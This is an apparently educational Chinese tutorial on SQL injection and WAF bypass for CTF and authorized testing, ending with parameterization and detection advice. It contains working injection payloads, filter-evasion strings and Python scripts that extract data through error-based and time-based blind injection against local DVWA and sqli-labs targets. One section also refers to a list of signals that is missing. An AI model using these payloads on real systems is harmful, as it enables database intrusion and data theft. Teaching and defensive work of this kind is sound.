Web 方向 SQL 注入与 WAF 绕过

引言

SQL 注入是 Web 安全里最"老"的漏洞类别，却在 CTF 竞赛中始终占据 Web 方向的核心位置。原因很简单：它把"用户输入被当成代码执行"这个本质问题压缩在一个极小的可观测面上——一个查询参数、一次响应差异，选手必须在几乎没有反馈的条件下把数据一位一位"问"出来。

竞赛里的 SQL 注入和授权渗透测试的诉求并不相同。CTF 题目通常已经告诉你存在注入点，考察的是你对数据库方言、函数可用性、过滤规则和绕过手法的掌握程度；而授权测试中更重要的往往是判断"这个点到底能不能注入、代价多大、有没有更短的路径"。本文尽量把两者对齐：既讲题型，也讲工程上的判断依据。

WAF 绕过是这条链路上最容易被神话的部分。很多人把它理解成"收集 payload 字典"，但真正起作用的是理解过滤发生在哪一层：是 PHP 层的黑名单正则、是 ModSecurity CRS 的规则集，还是云 WAF 在 HTTP 解析层做的归一化。不同层的绕过手法完全不同，这也是本文按"字符层 → 语法层 → 协议层"组织内容的原因。

全文从注入分类与适用前提开始，依次讲信息收集、取数路径、盲注、二次与堆叠注入，再进入 WAF 绕过原理，最后回到根治方案——预编译参数化，以及从日志和权限侧做检测与防御。所有示例均以本地靶场（DVWA、sqli-labs）和授权测试为前提，请勿用于未授权目标。

目录

1. 注入分类与适用前提
2. 信息收集：information_schema 与版本差异
3. 联合查询与报错注入的取数路径
4. 布尔盲注与时间盲注
5. 二次注入与堆叠注入
6. WAF 绕过原理：字符层到协议层
7. 预编译为何能根治
8. 检测与防御
9. CTF 题型与练习路径

1. 注入分类与适用前提

分类的意义不在于背名字，而在于每一类都有明确的适用前提：回显位、报错开关、查询结果是否影响响应、是否允许多语句。先判断前提，再选手法，能省掉大量试错。

前提判断有一个常被忽略的点：列数。ORDER BY n 递增试探是通用手法，但很多 WAF 会拦 order by；此时可用 UNION SELECT 1,2,3 逐步增列，观察报错从"列数不匹配"变为正常。另外 MySQL 中 LIMIT 不接受表达式，GROUP BY 与 ORDER BY 的位置不能参数化，这一点在第 7 节会展开。

2. 信息收集：information_schema 与版本差异

进入取数阶段前，先确认三件事：数据库类型与版本、当前用户与权限、当前库与表结构。MySQL 5.7 与 8.0 在这一点上差异显著，直接影响 payload 写法。

-- MySQL 5.7+ / 8.0 通用：当前库、用户、版本
SELECT database(), user(), version();

-- 8.0 默认移除了 information_schema 的部分可读性，
-- 但仍可读；关键是 8.0 引入了 information_schema_stats_expiry，
-- 统计信息可能滞后，直接查 TABLES 可能拿到过期行数。
SELECT table_name FROM information_schema.tables
WHERE table_schema = database() LIMIT 5;

-- 5.7 起 information_schema 有内建视图，8.0 增加了
-- COLUMNS 的额外列（如 GENERATION_EXPRESSION）
SELECT column_name, data_type FROM information_schema.columns
WHERE table_schema = database() AND table_name = 'users';

几个实战要点：

• information_schema 是只读的元数据视图，不是真实表，无法 INSERT/UPDATE，因此堆叠注入时不要试图写它。
• 8.0 中 information_schema 的实现从内存临时表改为基于数据字典，查询更快但缓存行为不同；在高并发下反复全表扫描 COLUMNS 会明显吃 CPU，这也是它被安全设备当作异常特征的原因。
• 无回显时，SELECT ... INTO OUTFILE 常被当作"取数"手段，但需要 secure_file_priv 为空且 FILE 权限，CTF 中常作为 flag 落地或写 webshell 的最后一环——现实中这属于高危动作，防御侧应重点监控。
• user() 与 current_user() 可能不同：前者是连接时的认证用户，后者是实际生效的授权用户，权限判断要用后者。

确认库名后，按"库 → 表 → 列 → 数据"逐层展开。无回显时用聚合函数把多行压成一行，减少请求次数：

-- 一次拿全当前库的表名，用 0x7c（竖线）分隔便于切分
SELECT group_concat(table_name separator 0x7c)
FROM information_schema.tables WHERE table_schema = database();

-- 拿到目标表后取列名
SELECT group_concat(column_name) FROM information_schema.columns
WHERE table_schema = database() AND table_name = 'flag';

-- 最后取数据，注意 group_concat 默认上限 1024 字节
-- 超长时用 SET SESSION group_concat_max_len = 1000000 提升
SELECT group_concat(flag_col) FROM flag;

group_concat 有两个容易踩的边界：默认 group_concat_max_len 为 1024 字节，超出部分被静默截断而不报错，必须显式 SET SESSION 调整；同时它受 GROUP BY 影响，WHERE 后若没有分组会把所有匹配行合并为一行，取数前要确认这符合预期。

3. 联合查询与报错注入的取数路径

联合查询的核心约束是列数与类型兼容。列数通过前面的试探确定，类型不兼容时用 NULL 占位最稳妥，因为 NULL 可隐式转换为任意类型。

-- 本地靶场示例：假设 users 表有 3 列，第 2 列有回显
-- 先占位，再替换第 2 列为要取的数据
SELECT id, username, email FROM users WHERE id = 1
UNION SELECT 1, group_concat(table_name), 3
FROM information_schema.tables
WHERE table_schema = database();

报错注入依赖数据库把错误信息带回页面。MySQL 中常用 updatexml 与 extractvalue，它们对 XPath 参数要求严格，注入后会抛出包含参数的报错：

-- updatexml 最多回显 32 字符，需配合 substr 分段取
SELECT updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1);

-- extractvalue 同理，0x7e 是 ~，作为易识别的边界标记
SELECT extractvalue(1, concat('~', (SELECT version()), '~'));

限制需要提前知道：updatexml 与 extractvalue 在 MySQL 8.0.17 之后仍可用，但一旦 XPath 长度超过约 32 字符就被截断，必须用 substr(...,1,31) 分段。floor(rand()*2) 这类基于主键冲突的报错手法在高版本、严格模式下不稳定，不建议作为首选。若报错被 display_errors 关闭或被框架统一异常处理吞掉，报错注入直接失效，只能退回盲注。

分段取数需要脚本配合，下面是一个针对本地靶场的最小化取数循环（仅用于自建环境验证）：

import re, requests

URL = "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id="
COOKIE = {"PHPSESSID": "your-local-session", "security": "low"}

def fetch(expr):
    """把 expr 的结果通过报错带出，返回 32 字符以内的片段"""
    payload = f"1' AND updatexml(1, concat(0x7e,({expr}),0x7e), 1)-- -"
    r = requests.get(URL + payload, cookies=COOKIE, timeout=5)
    m = re.search(r"~(.+?)~", r.text, re.S)
    return m.group(1) if m else ""

def dump(expr, total=200):
    out = ""
    for i in range(0, total, 31):
        chunk = fetch(f"substr(({expr}),{i + 1},31)")
        if not chunk:
            break
        out += chunk
    return out

print(dump("SELECT group_concat(table_name) FROM information_schema.tables "
           "WHERE table_schema=database()"))

这段脚本只做两件事：构造带 substr 的报错 payload、从响应里用正则抠出 ~...~ 之间的内容。真实环境里应当把它改造成带重试与速率限制的形式，且只在获得书面授权的目标上运行。

4. 布尔盲注与时间盲注

盲注的本质是构造一个可判定的问题，再把答案编码进响应差异里。布尔盲注依赖页面在两个分支下产生可观测差异（长度、状态码、文案），时间盲注则用 SLEEP() 把差异编码进时间。

-- 布尔盲注：逐字符二分查找库名
SELECT id FROM users WHERE id = 1
AND ascii(substr((SELECT database()), 1, 1)) > 100;

-- 时间盲注：条件成立时延时 2 秒
SELECT id FROM users WHERE id = 1
AND IF(ascii(substr((SELECT database()), 1, 1)) > 100, SLEEP(2), 0);

-- 二分法把单字符比较从 7 次降到 7 次以内（0~127 共 7 位）
-- 若字符集已知为小写字母+数字，可进一步缩小到 5 位

时间盲注在真实网络里有三个必须处理的误差来源：

1. 网络抖动：基线 RTT 波动可能达到数百毫秒，SLEEP(1) 的判据会被淹没。做法是先测 5~10 次无 payload 请求取中位数与标准差，再把延时设到 基线 + 5σ 以上，通常用 SLEEP(3) 或 SLEEP(5)。
2. 服务端超时与重试：某些反代或 WAF 对超过 2 秒的请求直接切断并重试，导致响应时间反而更短，形成假阴性。此时改用"延时叠加"手法，如 SLEEP(2)+SLEEP(2) 观察是否近似线性。
3. 缓存与并发：带缓存的前置节点会让相同 URL 直接命中缓存，完全绕开数据库。加随机参数破坏缓存键，或用 BENCHMARK(5000000, MD5('x')) 替代 SLEEP 做 CPU 型延时。

BENCHMARK 的缺点是耗时随机器性能变化，跨环境不可移植；SLEEP 更稳定但更容易被安全设备按"长耗时 SQL"告警。CTF 里优先 SLEEP，真实环境里两者都要配合基线测量。

二分法脚本的骨架如下，核心是把"逐字符线性扫描"换成"逐比特二分"，把单字符成本从平均 64 次降到 7 次：

import requests, time, statistics

URL = "http://127.0.0.1/sqli-labs/Less-8/?id=1"
THRESHOLD = 3.0  # 秒，需按基线调整

def baseline(n=7):
    """先测无 payload 的基线延迟，取中位数与标准差"""
    samples = []
    for _ in range(n):
        t = time.perf_counter()
        requests.get(URL, timeout=10)
        samples.append(time.perf_counter() - t)
    return statistics.median(samples), statistics.pstdev(samples)

def cond(expr):
    """条件成立时服务端延时 3 秒"""
    payload = f"1' AND IF(({expr}), SLEEP(3), 0)-- -"
    t = time.perf_counter()
    requests.get(URL + payload, timeout=15)
    return (time.perf_counter() - t) > THRESHOLD

def extract_char(pos, expr):
    lo, hi = 32, 126            # 可打印 ASCII 范围
    while lo < hi:
        mid = (lo + hi) // 2
        if cond(f"ascii(substr(({expr}),{pos},1))>{mid}"):
            lo = mid + 1
        else:
            hi = mid
    return chr(lo)

base, sigma = baseline()
THRESHOLD = base + 5 * sigma     # 动态阈值，抵抗网络抖动
print("".join(extract_char(i, "SELECT database()") for i in range(1, 12)))

两个工程细节：THRESHOLD 必须由基线动态推导，写死成 1 秒在跨机房链路上几乎必然误判；requests 的超时（timeout=15）要大于 SLEEP 值，否则连接被本地提前掐断，测到的时间永远是超时时间而非真实延时。

5. 二次注入与堆叠注入

二次注入指数据在写入时被正确转义，但在后续某个功能中被取出后未转义直接拼接进 SQL。典型场景是注册用户名时用 addslashes 转义，修改密码时却直接把用户名拼进 UPDATE ... WHERE username = '$name'。此时 ' 已入库为裸字符，转义不再生效。

阶段一（写入，被转义）：注册用户名  admin'#
阶段二（读取后拼接）：
  UPDATE users SET password='new' WHERE username='admin'#'
  -- 实际生效条件变成 username='admin'，注释掉后续内容

堆叠注入利用驱动允许多语句的特性，用 ; 追加第二条语句。PDO 在 MySQL 下默认允许堆叠（PDO::MYSQL_ATTR_MULTI_STATEMENTS），而 mysqli::query 天然不支持，mysqli::multi_query 才支持。因此堆叠是否可用取决于驱动与调用方式，而不是数据库本身。CTF 中堆叠常用于直接 INSERT 一条管理员记录或 UPDATE flag 所在字段。

检测与防御：二次注入的根治办法是入库与出库都走参数化，而不是只在写入侧转义；堆叠注入的根治办法是显式关闭多语句（PDO 设 ATTR_EMULATE_PREPARES=false 且不开启多语句），并在数据库账号上限制 DROP/FILE 等权限。日志侧应关注单条请求内出现多个分号的 SQL 审计记录。

6. WAF 绕过原理：字符层到协议层

绕过的前提是搞清楚过滤在哪一层。层级不同，归一化顺序不同，能钻的空隙也不同。

6.1 字符与语法层

-- 大小写与关键字拆分（针对简单黑名单正则）
SeLeCt 1,2,3
SEL/**/ECT 1,2,3

-- 内联注释：MySQL 会执行版本号以内的内容，WAF 常只做字符串匹配
/*!50000SELECT*/ 1,2,3
/*!50000UNION*//*!50000SELECT*/ 1,2,3

-- 等价函数与符号替换
-- 空格被过滤时：/**/  %09  %0a  ()  +
SELECT(id)FROM(users)WHERE(id=1)
-- 等号被过滤时：LIKE、REGEXP、IN、BETWEEN、<>
-- and/or 被过滤时：&& 、|| 、XOR

-- 编码与双重编码（取决于后端解码次数与 WAF 归一化深度）
%27  ->  '
%2527 -> %27 -> '

关键在于归一化深度。WAF 通常做一次 URL 解码再匹配规则，如果后端框架又做了一次解码（例如某些框架对 %25 的处理），就存在双重编码的空间。反过来，如果 WAF 归一化得比后端更彻底，双重编码反而会打偏。判断方法：发一个只含单次编码的良性 payload，若被拦说明 WAF 解一次；再发双重编码版本，若通过而应用仍能解析，说明后端多解了一次。

6.2 参数与协议层

• 参数污染（HPP）：同名参数 ?id=1&id=2 时，WAF 取第一个、后端取最后一个（或相反），利用解析顺序差异。PHP 取最后一个，ASP.NET 拼接，Java getParameter 取第一个——差异本身就是绕过点。
• 分块传输（Transfer-Encoding: chunked）：把 payload 拆进多个 chunk，部分 WAF 不做 chunk 重组或只检查首个 chunk。
• 宽字节注入（GBK）：当连接字符集为 GBK 且使用了 addslashes，%df%27 中 %df 与反斜杠 %5c 组成合法 GBK 字符，反斜杠被"吃掉"，单引号逃逸。根因是转义函数与字符集不匹配，根治办法是 set names utf8mb4 或直接用参数化。
• Content-Type 与编码变换：部分 WAF 只解析 application/x-www-form-urlencoded，改成 multipart/form-data 或 application/json 可绕过其参数解析。

6.3 归一化顺序与"看似绕过"的假象

现代云 WAF 普遍采用"多次解码 + 语法树解析"的混合策略，绕过难度显著上升。判断一次绕过是否真的成功，要看三个信号：

最容易产生假象的是第二种：很多人把"WAF 没拦"当作绕过成功，实际是 payload 语法有误。正确做法是先用一个肯定能成功的基线 payload 验证通道，再逐步加变形，每次只改一个变量。

另一个常见误区是只测一次就认为规则稳定。云 WAF 的规则集是持续更新的，今天有效的编码绕过可能在下次规则更新后失效。因此防御侧的价值不在于"找到一条永久有效的绕过字符串"，而在于把绕过尝试变成可检测的行为——大量畸形请求本身就是强信号。

需要强调：以上手法在 CTF 与授权测试中用于验证防御有效性，不构成对生产系统可直接照做的武器化流程。现实中 WAF 是纵深防御的一层而非唯一防线，绕过成功往往意味着后端缺少参数化。

7. 预编译为何能根治

预编译把 SQL 的"结构"与"数据"在协议层分离：语句模板先发给数据库解析并生成执行计划，参数随后以独立类型化消息传入，数据库永远不会把参数内容当作语法解析。这是它比转义更根本的原因——转义是"猜哪些字符危险"，参数化是"根本不让数据参与解析"。

<?php
// 正确：真正走服务端预处理
$pdo = new PDO('mysql:host=127.0.0.1;dbname=app;charset=utf8mb4', $u, $p);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); // 关键
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$stmt = $pdo->prepare('SELECT id, username FROM users WHERE id = ?');
$stmt->execute([$_GET['id']]);

ATTR_EMULATE_PREPARES 默认为 true，此时 PDO 在客户端做字符串拼接与转义，本质上仍是"安全转义"而非真正预处理。它与字符集、NO_BACKSLASH_ESCAPES 等设置交互，存在边界情况；关掉它才能拿到服务端预处理的保证。

参数化不能覆盖的地方只有两类：标识符（表名、列名、ORDER BY 的目标）和关键字。因为它们在 SQL 语法中属于结构，不是数据。处理方式只有白名单映射：

<?php
$sortWhitelist = ['id' => 'id', 'name' => 'username', 'time' => 'created_at'];
$orderWhitelist = ['asc' => 'ASC', 'desc' => 'DESC'];
$col = $sortWhitelist[$_GET['sort']] ?? 'id';
$dir = $orderWhitelist[strtolower($_GET['order'] ?? 'asc')] ?? 'ASC';
$sql = "SELECT id, username FROM users ORDER BY {$col} {$dir} LIMIT 20";

白名单的本质是"用查表代替拼接"，只要表内不含攻击者可控内容就是安全的。这一节也解释了为什么"过滤 order by 关键字"是错误思路：正确的做法是让 order by 的取值来自固定集合。

ORM 并不能自动带来安全。MyBatis 的 #{} 走预编译，${} 是字符串拼接；Hibernate 的 createQuery 配参数安全，但 createNativeQuery 拼接同样会注入；Django ORM 的 extra() 与 RawSQL 也会绕过参数化。判断标准始终是同一句话：用户输入有没有进入 SQL 文本，而不是"用没用框架"。

8. 检测与防御

防御按优先级排：参数化 → 最小权限 → 输入校验 → WAF → 监控。参数化已在第 7 节展开，这里补另外四层。

• 最小权限：应用账号只授予业务必需权限，禁用 FILE、SUPER、跨库 SELECT。这样即使注入成立，INTO OUTFILE 与堆叠写入也无从下手。读写分离场景下，只读账号要显式限制。
• 慢查询与异常 SQL 日志：开启 slow_query_log 并把 long_query_time 调到 1 秒，时间盲注必然留下大量慢查询；同时开启通用日志或审计插件（MySQL 8.0 的企业审计、MariaDB 的 server_audit），对含 information_schema 高频访问的连接做统计。配合 SIEM 与 SOC 建设 中的规则引擎，可以把"单 IP 短时间内大量相似查询"聚合成告警。
• WAF 规则：ModSecurity CRS 的 942xxx 系列覆盖常见注入特征，但要注意误报——对含 JSON 与富文本的接口应做路径级例外，而不是全局关闭规则。
• 应用层错误处理：生产环境关闭 display_errors，统一异常页，避免报错注入拿到数据；但要在服务端日志里保留完整堆栈，否则等于自断检测能力。

数据库侧可落地的几项配置如下，属于"改一行配置就能降低影响面"的低成本加固：

-- 1. 应用账号只给必要权限，禁用危险能力
CREATE USER 'app'@'10.0.%' IDENTIFIED BY 'strong-pass';
GRANT SELECT, INSERT, UPDATE, DELETE ON appdb.* TO 'app'@'10.0.%';
REVOKE FILE ON *.* FROM 'app'@'10.0.%';   -- 禁掉 INTO OUTFILE

-- 2. 打开慢查询日志，时间盲注必然留下痕迹
SET GLOBAL slow_query_log = ON;
SET GLOBAL long_query_time = 1;

-- 3. 限制单条语句的返回与执行成本
SET GLOBAL max_execution_time = 3000;     -- 单位毫秒，MySQL 5.7.8+

配合 反序列化漏洞与 RCE 利用链 一起看会更清楚：SQL 注入与反序列化都属于"数据被当代码"的同一族问题，防御思路（隔离数据与代码、最小权限、纵深检测）高度一致。

9. CTF 题型与练习路径

竞赛中 SQL 注入题大致分三档：直给型（无过滤，考基本语法与取数）、过滤型（黑名单绕过，考字符层与语法层技巧）、盲注型（无回显，考脚本自动化与误差控制）。第三档最考验工程能力，因为它要求你写一个稳定的二分脚本并处理超时重试。

练习建议按此顺序：先在本地搭 sqli-labs 走完 Less 1~20，覆盖联合、报错、布尔、时间、堆叠、二次；再用 DVWA 的 low/medium/high 三档体会过滤强度变化；最后到 CTF 平台的真题里练脚本。工具方面，sqlmap 适合在已确认注入点后做验证与取数，但它的 --risk/--level 提高会显著增加请求量，在授权测试中必须事先约定边界，且不要把它指向非授权目标。

更完整的题型地图与方向划分见 CTF 竞赛全景与学习路径 ，PHP 相关的弱类型与过滤绕过见 Web 方向 PHP 特性与绕过技巧 ，两者与本文构成 Web 方向的前半程。

权衡取舍

选择的核心判断是影响面与改造成本的平衡：能改代码就参数化，改不动就先收权限、再上 WAF、最后靠日志兜底。

常见坑清单

1. 页面无报错就断定"不能注入"——实际可能是框架统一异常处理，应转布尔盲注再验证。
2. ORDER BY 递增试探被拦就放弃——改用 UNION SELECT 1,2,3 增列，或从报错文案判断列数。
3. 时间盲注只发一次就下结论——必须做基线测量，取多次中位数并考虑标准差。
4. 带缓存的前置节点让盲注全部命中缓存——加随机参数破坏缓存键后再测。
5. PDO 开了模拟预处理却以为已经安全——ATTR_EMULATE_PREPARES 默认 true，必须显式关闭。
6. 只用转义函数处理宽字节字符集——GBK 下 %df%27 可吃掉反斜杠，应统一 utf8mb4。
7. 堆叠注入在 mysqli::query 下失败就以为数据库不支持——是否支持取决于驱动与调用方式。
8. 报错注入取到一半被截断——updatexml 上限约 32 字符，需用 substr 分段。
9. WAF 规则全局放行 JSON 接口——应按路径做例外，否则等于对主要入口关闭防护。
10. 生产环境关闭 display_errors 后未保留服务端堆栈——报错注入虽被挡住，但检测能力也一起丢了。

小结

SQL 注入的技术栈并不深，难点在于判断前提和控制误差：前者决定选哪条路径，后者决定脚本能否跑通。把分类与前提的对应关系记牢，比背 payload 字典有效得多。WAF 绕过同理，理解过滤发生在哪一层、归一化做了几次，比收集绕过字符串更能举一反三。

根治方案只有一条：让数据不参与语法解析。参数化覆盖 95% 的场景，剩下 5% 的标识符用白名单映射补齐，两者合起来就是完整的防线。WAF、最小权限、日志审计都是纵深防御的补充，用来降低"防线被突破后的损失"和"发现时间"。

下一步建议按两条线推进：攻击侧继续练盲注脚本与过滤绕过，防御侧把第 8 节的慢查询、审计与权限配置落到基线里，形成"能打也能防"的闭环。